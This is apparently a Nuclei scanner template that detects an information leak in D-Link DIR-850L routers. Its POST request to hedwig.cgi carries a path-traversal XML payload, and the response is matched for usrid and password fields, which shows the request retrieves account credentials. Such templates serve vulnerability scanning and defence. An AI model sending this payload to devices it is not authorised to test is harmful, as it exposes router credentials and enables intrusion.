id: dlink-850L-info-leak

info:
  name: Dlink Dir-850L Info Leak
  author: pikpikcu
  severity: info
  reference:
    - https://xz.aliyun.com/t/2941
  metadata:
    max-request: 1
  tags: dlink,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/hedwig.cgi"

    body: |
      <?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>

    headers:
      Cookie: uid=R8tBjwtFc8
      Content-Type: text/xml

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "</usrid>"
          - "</password>"
        part: body
# digest: 490a00463044022078184641dd0a53935b1d98298ef67904c6868cf24d13b954c6010fdf9a05a16d02203d8a4bea2775244e12cffadb03bdc6279b5bcb6e628d7e18e491d5843494a4a9:922c64590222798bb761d5b6d8e72950